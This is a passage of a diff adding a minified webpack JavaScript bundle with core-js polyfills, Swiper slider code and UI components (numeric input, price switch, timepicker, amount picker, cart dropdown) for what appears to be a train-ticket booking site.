i.push(arguments[n++]); + a = r = i[1]; + if (!y(r) && t === undefined || G(t)) return; + if (!_(r)) r = function (e, t) { + if (typeof a == "function") t = a.call(this, e, t); + if (!G(t)) return t + }; + i[1] = r; + return A.apply(P, i) + } + }); + C[O][H] || i(44)(C[O], H, C[O].valueOf); + f(C, "Symbol"); + f(Math, "Math", true); + f(n.JSON, "JSON", true) + }, function (e, t, i) { + var n = i(71)("meta"); + var r = i(46); + var a = i(35); + var s = i(30).f; + var o = 0; + var l = Object.isExtensible || function () { + return true + }; + var u = !i(47)(function () { + return l(Object.preventExtensions({})) + }); + var d = function (e) { + s(e, n, { + value: { + i: "O" + ++o, + w: {} + } + }) + }; + var f = function (e, t) { + if (!r(e)) return typeof e == "symbol" ? e : (typeof e == "string" ? "S" : "P") + e; + if (!a(e, n)) { + if (!l(e)) return "F"; + if (!t) return "E"; + d(e) + } + return e[n].i + }; + var c = function (e, t) { + if (!a(e, n)) { + if (!l(e)) return true; + if (!t) return false; + d(e) + } + return e[n].w + }; + var h = function (e) { + if (u && m.NEED && l(e) && !a(e, n)) d(e); + return e + }; + var m = e.exports = { + KEY: n, + NEED: false, + fastKey: f, + getWeak: c, + onFreeze: h + } + }, function (e, t, i) { + var n = i(48); + var r = i(110); + var a = i(68); + e.exports = function (e) { + var t = n(e); + var i = r.f; + if (i) { + var s = i(e); + var o = a.f; + var l = 0; + var u; + while (s.length > l) + if (o.call(e, u = s[l++])) t.push(u) + } + return t + } + }, function (e, t, i) { + var n = i(85); + e.exports = Array.isArray || function e(t) { + return n(t) == "Array" + } + }, function (e, t, i) { + var n = i(31); + var r = i(152).f; + var a = {}.toString; + var s = typeof window == "object" && window && Object.getOwnPropertyNames ? Object.getOwnPropertyNames(window) : []; + var o = function (e) { + try { + return r(e) + } catch (e) { + return s.slice() + } + }; + e.exports.f = function e(t) { + return s && a.call(t) == "[object Window]" ? o(t) : r(n(t)) + } + }, function (e, t) {}, function (e, t, i) { + i(112)("asyncIterator") + }, function (e, t, i) { + i(112)("observable") + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n, r, a, s, o, l, u, d, f, c, h = null; + if (false) { + n = require.context("./General", false, /.*\.svg$/); + n.keys().forEach(n); + r = require.context("./Tickets", false, /.*\.svg$/); + r.keys().forEach(r); + a = require.context("./TicketLocations", false, /.*\.svg$/); + a.keys().forEach(a); + s = require.context("./Payments", false, /.*\.svg$/); + s.keys().forEach(s); + l = require.context("./AppStore", false, /.*\.svg$/); + l.keys().forEach(l); + d = require.context("./Modi", false, /.*\.svg$/); + d.keys().forEach(d); + f = require.context("./Route", false, /.*\.svg$/); + f.keys().forEach(f); + c = require.context("./RouteStandalone", false, /.*\.svg$/); + c.keys().forEach(c); + h = require.context("./Social", false, /.*\.svg$/); + h.keys().forEach(h); + o = require.context("./Wagons", false, /.*\.svg$/); + o.keys().forEach(o); + u = require.context("./Facilities", false, /.*\.svg$/); + u.keys().forEach(u) + } + var m = function e() { + var t = n.keys().map(function (e) { + return e.substr(2, e.length - 6) + }); + var i = r.keys().map(function (e) { + return e.substr(2, e.length - 6) + }); + var m = a.keys().map(function (e) { + return e.substr(2, e.length - 6) + }); + var p = s.keys().map(function (e) { + return e.substr(2, e.length - 6) + }); + var v = d.keys().map(function (e) { + return e.substr(2, e.length - 6) + }); + var _ = f.keys().map(function (e) { + return e.substr(2, e.length - 6) + }); + var g = c.keys().map(function (e) { + return e.substr(2, e.length - 6) + }); + var y = h.keys().map(function (e) { + return e.substr(2, e.length - 6) + }); + var b = l.keys().map(function (e) { + return e.substr(2, e.length - 6) + }); + var w = o.keys().map(function (e) { + return e.substr(2, e.length - 6) + }); + var M = u.keys().map(function (e) { + return e.substr(2, e.length - 6) + }); + return { + general: t, + payments: p, + tickets: i, + modi: v, + route: _, + routeStandalone: g, + social: y, + ticketLocations: m, + appStore: b, + wagons: w, + facilities: M + } + }; + t.default = m + }, function (e, t, i) { + i(413); + e.exports = i(14).Object.getPrototypeOf + }, function (e, t, i) { + var n = i(62); + var r = i(126); + i(115)("getPrototypeOf", function () { + return function e(t) { + return r(n(t)) + } + }) + }, function (e, t, i) { + e.exports = { + default: i(415), + __esModule: true + } + }, function (e, t, i) { + i(416); + var n = i(14).Object; + e.exports = function e(t, i, r) { + return n.defineProperty(t, i, r) + } + }, function (e, t, i) { + var n = i(24); + n(n.S + n.F * !i(34), "Object", { + defineProperty: i(30).f + }) + }, function (e, t, i) { + e.exports = { + default: i(418), + __esModule: true + } + }, function (e, t, i) { + i(419); + e.exports = i(14).Object.setPrototypeOf + }, function (e, t, i) { + var n = i(24); + n(n.S, "Object", { + setPrototypeOf: i(420).set + }) + }, function (e, t, i) { + var n = i(46); + var r = i(45); + var a = function (e, t) { + r(e); + if (!n(t) && t !== null) throw TypeError(t + ": can't set as prototype!") + }; + e.exports = { + set: Object.setPrototypeOf || ("__proto__" in {} ? function (e, t, n) { + try { + n = i(82)(Function.call, i(113).f(Object.prototype, "__proto__").set, 2); + n(e, []); + t = !(e instanceof Array) + } catch (e) { + t = true + } + return function e(i, r) { + a(i, r); + if (t) i.__proto__ = r; + else n(i, r); + return i + } + }({}, false) : undefined), + check: a + } + }, function (e, t, i) { + i(422); + var n = i(14).Object; + e.exports = function e(t, i) { + return n.create(t, i) + } + }, function (e, t, i) { + var n = i(24); + n(n.S, "Object", { + create: i(84) + }) + }, function (e, t) { + e.exports = o + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = m(n); + var a = i(1); + var s = m(a); + var o = i(6); + var l = m(o); + var u = i(4); + var d = m(u); + var f = i(5); + var c = m(f); + var h = i(2); + + function m(e) { + return e && e.__esModule ? e : { + default: e + } + } + var p = 1; + var v = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); + n.inc = e.querySelector(".input-numeric__inc"); + n.dec = e.querySelector(".input-numeric__dec"); + n.input = e.querySelector("input"); + n.value = n.convertToNumber(n.input.value); + n.input.value = n.value; + n.bindEvents(); + return n + }(0, l.default)(t, [{ + key: "bindEvents", + value: function e() { + this.input.addEventListener("keypress", this.handleInput.bind(this)); + this.input.addEventListener("change", this.handleChange.bind(this)); + this.inc.addEventListener("click", this.handleInc.bind(this)); + this.dec.addEventListener("click", this.handleDec.bind(this)) + } + }, { + key: "handleInput", + value: function e(t) { + var i = 13; + var n = 8; + if ((t.which < 48 || t.which > 57) && t.which !== i && t.which !== n) { + t.preventDefault() + } + } + }, { + key: "handleInc", + value: function e(t) { + this.input.value = this.convertToNumber(this.input.value); + this.input.value = ++this.value + } + }, { + key: "handleDec", + value: function e(t) { + this.input.value = this.convertToNumber(this.input.value); + if (this.value > p) { + this.input.value = --this.value + } + } + }, { + key: "handleChange", + value: function e(t) { + var i = this.convertToNumber(t.currentTarget.value); + if (i <= p) { + this.input.value = i = p + } + this.value = i + } + }, { + key: "convertToNumber", + value: function e(t) { + if (isNaN(parseInt(t))) { + return p + } + return parseInt(t) + } + }]); + return t + }(h.Component); + v.defaultSettings = { + attributes: true + }; + t.default = v + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = c(n); + var a = i(1); + var s = c(a); + var o = i(4); + var l = c(o); + var u = i(5); + var d = c(u); + var f = i(2); + + function c(e) { + return e && e.__esModule ? e : { + default: e + } + } + var h = function (e) { + (0, d.default)(t, e); + + function t() { + (0, s.default)(this, t); + return (0, l.default)(this, (t.__proto__ || (0, r.default)(t)).apply(this, arguments)) + } + return t + }(f.Component); + t.default = h + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = _(n); + var a = i(1); + var s = _(a); + var o = i(6); + var l = _(o); + var u = i(4); + var d = _(u); + var f = i(5); + var c = _(f); + var h = i(7); + var m = v(h); + var p = i(2); + + function v(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function _(e) { + return e && e.__esModule ? e : { + default: e + } + } + var g = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); + n.setActive = n.setActive.bind(n); + n.handleBtnClick = n.handleBtnClick.bind(n); + n.input = e.querySelector(".js-switch-price-input"); + n.btns = m.get(".switch-price__btn"); + n.btns.forEach(function (e) { + return e.addEventListener("click", n.handleBtnClick) + }); + n.handleInitialButton(); + return n + }(0, l.default)(t, [{ + key: "handleInitialButton", + value: function e() { + if (this.input.value) { + var t = this.el.querySelector('[data-value="' + this.input.value + '"]'); + if (t) { + this.setActive(t, false) + } else { + this.setActive(this.btns[0], false) + } + } else { + this.setActive(this.btns[0], false) + } + } + }, { + key: "handleBtnClick", + value: function e(t) { + this.el.classList.add("switch--anim"); + this.setActive(t.currentTarget) + } + }, { + key: "setActive", + value: function e(t) { + var i = this.el.querySelector(".active"); + if (i) { + i.classList.remove("active"); + i.setAttribute("aria-checked", "false") + } + t.classList.add("active"); + t.setAttribute("aria-checked", "true"); + this.input.value = t.getAttribute("data-value"); + var n = document.createEvent("Event"); + n.initEvent("change", false, true); + this.input.dispatchEvent(n) + } + }]); + return t + }(p.Component); + g.default_settings = { + attributes: true, + duration: 200, + animate: true + }; + t.default = g + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = _(n); + var a = i(1); + var s = _(a); + var o = i(6); + var l = _(o); + var u = i(4); + var d = _(u); + var f = i(5); + var c = _(f); + var h = i(156); + var m = _(h); + var p = i(2); + var v = i(7); + + function _(e) { + return e && e.__esModule ? e : { + default: e + } + } + var g = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); + n.el = e; + n.input = e.querySelector(".input__txt"); + n.prevInputState = n.input.value; + n.preventClose = false; + n.typedValue = false; + n.highlightedValues = 0; + n.list = JSON.parse(n.settings.values); + if (Array.isArray(n.list)) { + n.list = n.list.map(function (e) { + switch (e.length) { + case 4: + return "0" + e; + case 2: + return e + ":00" + } + return e + }) + } + n.timepicker = new m.default(n.input, { + minChars: 0, + maxItems: 50, + filter: function e(t, i) { + return true + }, + list: n.list, + mask: n.settings.mask, + regex: n.settings.regex + }); + n.onClose = n.onClose.bind(n); + n.onBlur = n.onBlur.bind(n); + n.onOpen = n.onOpen.bind(n); + n.onSelect = n.onSelect.bind(n); + n.close = n.close.bind(n); + n.onFocus = n.onFocus.bind(n); + n.onChange = n.onChange.bind(n); + n.onHighlight = n.onHighlight.bind(n); + n.onKeyDown = n.onKeyDown.bind(n); + n.bindEvents(); + if (n.settings.setnow && !n.input.value.length) { + n.input.value = n.getNow() + } + return n + }(0, l.default)(t, [{ + key: "bindEvents", + value: function e() { + this.input.addEventListener("awesomplete-close", this.onClose); + this.input.addEventListener("awesomplete-open", this.onOpen); + this.input.addEventListener("awesomplete-select", this.onSelect); + this.input.addEventListener("awesomplete-highlight", this.onHighlight); + this.input.addEventListener("blur", this.onBlur); + this.input.addEventListener("focus", this.onFocus); + this.input.addEventListener("mousedown", this.onFocus); + this.input.addEventListener("input", this.onChange); + this.input.addEventListener("keydown", this.onKeyDown.bind(this)) + } + }, { + key: "getNow", + value: function e() { + return (new Date).toTimeString().replace(/.*(\d{2}:\d{2}:\d{2}).*/, "$1").substring(0, 5) + } + }, { + key: "onFocus", + value: function e() { + this.timepicker.minChars = 0; + this.timepicker.evaluate(); + this.el.classList.add("timepicker--open"); + var t = this.input.value; + if (t === "") { + this.gotoClosest() + } else { + var i = this.list.findIndex(function (e) { + return e.replace(":", "") == t + }); + if (i === -1) { + this.gotoClosest() + } else { + this.timepicker.goto(i) + } + } + document.body.addEventListener("click", this.close) + } + }, { + key: "gotoClosest", + value: function e() { + var t = this.listByDiff(this.list, new Date); + this.timepicker.goto(t[0].index) + } + }, { + key: "listByDiff", + value: function e(t, i) { + return t.map(function (e, t) { + var i = e.split(":"); + var n = new Date; + n.setHours(parseInt(i[0]), parseInt(i[1]), 0, 0); + return { + date: n, + index: t + } + }).map(function (e) { + e.diff = Math.abs(new Date - e.date); + return e + }).sort(function (e, t) { + return e.diff - t.diff + }) + } + }, { + key: "onOpen", + value: function e(t) { + var i = this; + this.preventClose = false; + this.highlightedValues = 0; + this.el.querySelector("ul").addEventListener("mousedown", function (e) { + i.preventClose = true; + e.preventDefault() + }) + } + }, { + key: "onSelect", + value: function e(t) { + this.preventClose = false; + this.close(t, true) + } + }, { + key: "onClose", + value: function e(t) { + if (this.preventClose) { + t.preventDefault(); + return false + } + this.close(t, true) + } + }, { + key: "onBlur", + value: function e(t) { + if (!this.typedValue && this.highlightedValues > 1) { + this.timepicker.select() + } + this.onClose(t) + } + }, { + key: "onHighlight", + value: function e(t) { + this.highlightedValues++; + if (this.highlightedValues > 1) { + this.typedValue = false + } + } + }, { + key: "onKeyDown", + value: function e(t) { + var i = t.keyCode || t.which; + if (i == 38 || i == 40 || i == 9 || i == 13) { + this.typedValue = false; + return + } + this.typedValue = true + } + }, { + key: "onChange", + value: function e(t) { + var i = this.input.value; + var n = new RegExp(this.settings.regex); + var r = this.changeFormat(i); + var a = n.test(r); + if (!a) { + this.input.value = this.prevInputState; + t.preventDefault(); + return false + } + this.prevInputState = this.input.value; + return true + } + }, { + key: "changeFormat", + value: function e(t) { + switch (t.length) { + case 0: + return "00" + "00"; + case 1: + return "0" + t + "00"; + case 2: + return t + "00"; + case 3: + return t + "0"; + case 4: + return t + } + } + }, { + key: "close", + value: function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; + if ((0, v.isDescendant)(this.el, t.target) && !i) { + return + } + this.el.classList.remove("timepicker--open"); + this.timepicker.close({ + reason: "external" + }); + this.preventClose = false; + var n = new RegExp(this.settings.regex); + var r = false; + while (!n.test(this.input.value) && !r) { + var a = this.input.value; + switch (a.length) { + case 2: + this.input.value = iputValue + "00"; + break; + case 3: + this.input.value = a.substr(0, 2) + "0" + a.substr(2, 1); + break; + case 4: + case 1: + this.input.value = this.getNow(); + break; + case 0: + this.input.value = ""; + r = true; + break + } + } + document.body.removeEventListener("click", this.close) + } + }]); + return t + }(p.Component); + g.default_settings = { + setnow: false, + attributes: true, + mask: "99:99", + regex: "^(((0|1)[0-9])|2[0-3])([0-5][0-9])$", + values: "[]" + }; + t.default = g + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = _(n); + var a = i(1); + var s = _(a); + var o = i(6); + var l = _(o); + var u = i(4); + var d = _(u); + var f = i(5); + var c = _(f); + var h = i(156); + var m = _(h); + var p = i(2); + var v = i(7); + + function _(e) { + return e && e.__esModule ? e : { + default: e + } + } + var g = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); + n.el = e; + n.preventClose = false; + n.input = e.querySelector(".input__txt"); + n.ctrlDown = false; + n.amountpicker = new m.default(n.input, { + minChars: 0, + maxItems: 50, + filter: function e(t, i) { + return true + }, + list: n.parseValues(n.settings.values), + mask: n.settings.mask, + sort: n.sortNumeric + }); + n.bindEvents(); + return n + }(0, l.default)(t, [{ + key: "bindEvents", + value: function e() { + var t = this; + this.input.addEventListener("keydown", this.handleInput.bind(this)); + this.input.addEventListener("keyup", this.handleCleanInput.bind(this)); + this.input.addEventListener("awesomplete-close", this.onClose.bind(this)); + this.input.addEventListener("awesomplete-highlight", this.handleChange.bind(this)); + this.input.addEventListener("blur", this.onBlur.bind(this)); + this.input.addEventListener("focus", this.onFocus.bind(this)); + this.amountpicker.container.addEventListener("mousedown", function (e) { + if (t.amountpicker.isOpened) { + t.preventClose = true; + t.amountpicker.preventClose = true; + e.preventDefault(); + return false + } + }); + this.amountpicker.container.addEventListener("mouseup", function (e) { + t.preventClose = false; + t.amountpicker.preventClose = false; + e.preventDefault(); + return false + }) + } + }, { + key: "sortNumeric", + value: function e(t, i) { + return t - i + } + }, { + key: "parseValues", + value: function e(t) { + var i = JSON.parse(t); + var n = i.map(function (e) { + return parseInt(e) + }).filter(function (e) { + return !isNaN(e) + }).sort(this.sortNumeric); + return n + } + }, { + key: "handleInput", + value: function e(t) { + if ((t.ctrlKey || t.metaKey) && t.which == 86) { + this.ctrlDown = true; + return true + } + this.ctrlDown = false; + if ((t.which < 48 || t.which > 57) && (t.which < 96 || t.which > 105) && t.key !== "Escape" && t.key !== "Esc" && t.key !== "Tab" && t.key !== "Backspace" && t.key !== "ArrowLeft" && t.key !== "Delete" && t.key !== "ArrowRight") { + t.preventDefault() + } + } + }, { + key: "handleCleanInput", + value: function e(t) { + if (this.ctrlDown) { + this.input.value = this.input.value.replace(/\D/g, "") + } + this.ctrlDown = false + } + }, { + key: "handleChange", + value: function e(t) { + this.input.value = t.text.value + } + }, { + key: "onFocus", + value: function e() { + this.amountpicker.minChars = 0; + this.amountpicker.evaluate(); + this.el.classList.add("amount--open"); + this.preventClose = false; + this.input.setSelectionRange(0, 9999); + document.body.addEventListener("click", this.close.bind(this)) + } + }, { + key: "moveCursorToEnd", + value: function e() { + var t = this.input.value; + this.input.value = ""; + this.input.value = t + } + }, { + key: "onBlur", + value: function e(t) { + if (this.preventClose) { + return false + } + this.close(t, true) + } + }, { + key: "onClose", + value: function e(t) { + if (this.preventClose) { + return false + } + this.close(t, true) + } + }, { + key: "close", + value: function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; + if (!(0, v.isDescendant)(this.el, t.target) || i) { + this.el.classList.remove("amount--open"); + this.preventClose = false; + this.amountpicker.preventClose = false; + this.amountpicker.close() + } + } + }]); + return t + }(p.Component); + g.default_settings = { + setnow: false, + attributes: true, + values: "[1, 2, 3, 4, 5]" + }; + t.default = g + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = v(n); + var a = i(1); + var s = v(a); + var o = i(4); + var l = v(o); + var u = i(5); + var d = v(u); + var f = i(7); + var c = p(f); + var h = i(2); + var m = i(157); + + function p(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function v(e) { + return e && e.__esModule ? e : { + default: e + } + } + var _ = function (e) { + (0, d.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, l.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); + if (!(0, m.canSMIL)()) {} + return n + } + return t + }(h.Component); + _.defaultSettings = {}; + t.default = _ + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(13); + var r = b(n); + var a = i(3); + var s = b(a); + var o = i(1); + var l = b(o); + var u = i(6); + var d = b(u); + var f = i(4); + var c = b(f); + var h = i(5); + var m = b(h); + var p = i(7); + var v = y(p); + var _ = i(15); + var g = i(2); + + function y(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function b(e) { + return e && e.__esModule ? e : { + default: e + } + } + var w = function (e) { + (0, m.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, t); + var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.default_settings, i)); + n.default_settings = {}; + n.toggleDropdown = n.toggleDropdown.bind(n); + n.closeDropdown = n.closeDropdown.bind(n); + n.positionDropdown = n.positionDropdown.bind(n); + n.open = false; + n.elPosWidth = 370; + n.elArrow = n.el.querySelector(".cart-dropdown__arrow"); + n.currentTarget - null; + var a = document.querySelectorAll(".js-cart-dropdown-trigger"); + (0, r.default)(a).forEach(function (e) { + e.addEventListener("click", n.toggleDropdown) + }); + window.addEventListener("resize", n.positionDropdown); + return n + }(0, d.default)(t, [{ + key: "toggleDropdown", + value: function e(t) { + if (this.open) { + this.closeDropdown(t) + } else { + this.openDropdown(t) + } + } + }, { + key: "closeDropdown", + value: function e(t) { + var i = this; + if ((0, _.getScreenSize)() == "sm") { + return true + } + t.preventDefault(); + this.open = false; + this.el.classList.remove("active"); + setTimeout(function () { + document.body.removeEventListener("click", i.closeDropdown) + }, 200) + } + }, { + key: "openDropdown", + value: function e(t) { + var i = this; + if ((0, _.getScreenSize)() == "sm") { + return true + } + t.preventDefault(); + this.open = true; + this.el.classList.add("active"); + this.currentTarget = t.target; + this.positionDropdown(); + setTimeout(function () { + document.body.addEventListener("click", i.closeDropdown) + }, 200); + return false + } + }, { + key: "positionDropdown", + value: function e() { + if (!this.currentTarget) { + return false + } + var t = this.currentTarget.getBoundingClientRect(); + var i = this.el.getBoundingClientRect(); + var n = t.x + t.width / 2; + var r = t.y + t.height + 10; + n -= this.elPosWidth / 3; + console.log(n + this.elPosWidth, window.innerWidth - 30); + if (n + this.elPosWidth > window.innerWidth - 30) { + n = window.innerWidth - 30 - this.elPosWidth + } + this.el.style.top = Math.round(r) + "px"; + this.el.style.left = Math.round(n) + "px"; + this.elArrow.style.left = Math.round(t.x - n - 3) + "px" + } + }]); + return t + }(g.Component); + t.default = w + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = g(n); + var a = i(1); + var s = g(a); + var o = i(4); + var l = g(o); + var u = i(5); + var d = g(u); + var f = i(7); + var c = _(f); + var h = i(15); + var m = i(2); + var p = i(432); + var v = g(p); + + function _(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function g(e) { + return e && e.__esModule ? e : { + default: e + } + } + var y = function (e) { + (0, d.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, l.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); + n.default_settings = {}; + n.swiper = new v.default(n.el, { + pagination: { + el: ".swiper-pagination" + }, + autoplay: { + delay: 5e3 + }, + speed: 800 + }); + return n + } + return t + }(m.Component); + t.default = y + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = w(n); + var a = i(4); + var s = w(a); + var o = i(5); + var l = w(o); + var u = i(1); + var d = w(u); + var f = i(6); + var c = w(f); + var h = i(433); + var m = w(h); + var p = i(59); + var v = w(p); + var _ = i(158); + var g = w(_); + var y = i(438); + var b = i(159); + + function w(e) { + return e && e.__esModule ? e : { + default: e + } + } + var M = { + addClass: y.addClass, + removeClass: y.removeClass, + hasClass: y.hasClass, + toggleClass: y.toggleClass, + attr: y.attr, + removeAttr: y.removeAttr, + data: y.data, + transform: y.transform, + transition: y.transition, + on: y.on, + off: y.off, + trigger: y.trigger, + transitionEnd: y.transitionEnd, + outerWidth: y.outerWidth, + outerHeight: y.outerHeight, + offset: y.offset, + css: y.css, + each: y.each, + html: y.html, + text: y.text, + is: y.is, + index: y.index, + eq: y.eq, + append: y.append, + prepend: y.prepend, + next: y.next, + nextAll: y.nextAll, + prev: y.prev, + prevAll: y.prevAll, + parent: y.parent, + parents: y.parents, + closest: y.closest, + find: y.find, + children: y.children, + remove: y.remove, + add: y.add, + styles: y.styles + }; + (0, g.default)(M).forEach(function (e) { + y.$.fn[e] = M[e] + }); + var k = { + deleteProps: function e(t) { + var i = t; + (0, g.default)(i).forEach(function (e) { + try { + i[e] = null + } catch (e) {} + try { + delete i[e] + } catch (e) {} + }) + }, + nextTick: function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0; + return setTimeout(t, i) + }, + now: function e() { + return Date.now() + }, + getTranslate: function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : "x"; + var n = void 0; + var r = void 0; + var a = void 0; + var s = b.window.getComputedStyle(t, null); + if (b.window.WebKitCSSMatrix) { + r = s.transform || s.webkitTransform; + if (r.split(",").length > 6) { + r = r.split(", ").map(function (e) { + return e.replace(",", ".") + }).join(", ") + } + a = new b.window.WebKitCSSMatrix(r === "none" ? "" : r) + } else { + a = s.MozTransform || s.OTransform || s.MsTransform || s.msTransform || s.transform || s.getPropertyValue("transform").replace("translate(", "matrix(1, 0, 0, 1,"); + n = a.toString().split(",") + } + if (i === "x") { + if (b.window.WebKitCSSMatrix) r = a.m41; + else if (n.length === 16) r = parseFloat(n[12]); + else r = parseFloat(n[4]) + } + if (i === "y") { + if (b.window.WebKitCSSMatrix) r = a.m42; + else if (n.length === 16) r = parseFloat(n[13]); + else r = parseFloat(n[5]) + } + return r || 0 + }, + parseUrlQuery: function e(t) { + var i = {}; + var n = t || b.window.location.href; + var r = void 0; + var a = void 0; + var s = void 0; + var o = void 0; + if (typeof n === "string" && n.length) { + n = n.indexOf("?") > -1 ? n.replace(/\S*\?/, "") : ""; + a = n.split("&").filter(function (e) { + return e !== "" + }); + o = a.length; + for (r = 0; r < o; r += 1) { + s = a[r].replace(/#\S+/g, "").split("="); + i[decodeURIComponent(s[0])] = typeof s[1] === "undefined" ? undefined : decodeURIComponent(s[1]) || "" + } + } + return i + }, + isObject: function e(t) { + return (typeof t === "undefined" ? "undefined" : (0, v.default)(t)) === "object" && t !== null && t.constructor && t.constructor === Object + }, + extend: function e() { + var t = Object(arguments.length <= 0 ? undefined : arguments[0]); + for (var i = 1; i < arguments.length; i += 1) { + var n = arguments.length <= i ? undefined : arguments[i]; + if (n !== undefined && n !== null) { + var r = (0, g.default)(Object(n)); + for (var a = 0, s = r.length; a < s; a += 1) { + var o = r[a]; + var l = (0, m.default)(n, o); + if (l !== undefined && l.enumerable) { + if (k.isObject(t[o]) && k.isObject(n[o])) { + k.extend(t[o], n[o]) + } else if (!k.isObject(t[o]) && k.isObject(n[o])) { + t[o] = {}; + k.extend(t[o], n[o]) + } else { + t[o] = n[o] + } + } + } + } + } + return t + } + }; + var L = function e() { + var t = b.document.createElement("div"); + return { + touch: b.window.Modernizr && b.window.Modernizr.touch === true || function e() { + return !!("ontouchstart" in b.window || b.window.DocumentTouch && b.document instanceof b.window.DocumentTouch) + }(), + pointerEvents: !!(b.window.navigator.pointerEnabled || b.window.PointerEvent), + prefixedPointerEvents: !!b.window.navigator.msPointerEnabled, + transition: function e() { + var i = t.style; + return "transition" in i || "webkitTransition" in i || "MozTransition" in i + }(), + transforms3d: b.window.Modernizr && b.window.Modernizr.csstransforms3d === true || function e() { + var i = t.style; + return "webkitPerspective" in i || "MozPerspective" in i || "OPerspective" in i || "MsPerspective" in i || "perspective" in i + }(), + flexbox: function e() { + var i = t.style; + var n = "alignItems webkitAlignItems webkitBoxAlign msFlexAlign mozBoxAlign webkitFlexDirection msFlexDirection mozBoxDirection mozBoxOrient webkitBoxDirection webkitBoxOrient".split(" "); + for (var r = 0; r < n.length; r += 1) { + if (n[r] in i) return true + } + return false + }(), + observer: function e() { + return "MutationObserver" in b.window || "WebkitMutationObserver" in b.window + }(), + passiveListener: function e() { + var t = false; + try { + var i = Object.defineProperty({}, "passive", { + get: function e() { + t = true + } + }); + b.window.addEventListener("testPassiveListener", null, i) + } catch (e) {} + return t + }(), + gestures: function e() { + return "ongesturestart" in b.window + }() + } + }(); + var T = function () { + function e() { + var t = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; + (0, d.default)(this, e); + var i = this; + i.params = t; + i.eventsListeners = {}; + if (i.params && i.params.on) { + (0, g.default)(i.params.on).forEach(function (e) { + i.on(e, i.params.on[e]) + }) + } + }(0, c.default)(e, [{ + key: "on", + value: function e(t, i, n) { + var r = this; + if (typeof i !== "function") return r; + var a = n ? "unshift" : "push"; + t.split(" ").forEach(function (e) { + if (!r.eventsListeners[e]) r.eventsListeners[e] = []; + r.eventsListeners[e][a](i) + }); + return r + } + }, { + key: "once", + value: function e(t, i, n) { + var r = this; + if (typeof i !== "function") return r; + + function a() { + for (var e = arguments.length, n = Array(e), s = 0; s < e; s++) { + n[s] = arguments[s] + } + i.apply(r, n); + r.off(t, a) + } + return r.on(t, a, n) + } + }, { + key: "off", + value: function e(t, i) { + var n = this; + if (!n.eventsListeners) return n; + t.split(" ").forEach(function (e) { + if (typeof i === "undefined") { + n.eventsListeners[e] = [] + } else if (n.eventsListeners[e] && n.eventsListeners[e].length) { + n.eventsListeners[e].forEach(function (t, r) { + if (t === i) { + n.eventsListeners[e].splice(r, 1) + } + }) + } + }); + return n + } + }, { + key: "emit", + value: function e() { + var t = this; + if (!t.eventsListeners) return t; + var i = void 0; + var n = void 0; + var r = void 0; + for (var a = arguments.length, s = Array(a), o = 0; o < a; o++) { + s[o] = arguments[o] + } + if (typeof s[0] === "string" || 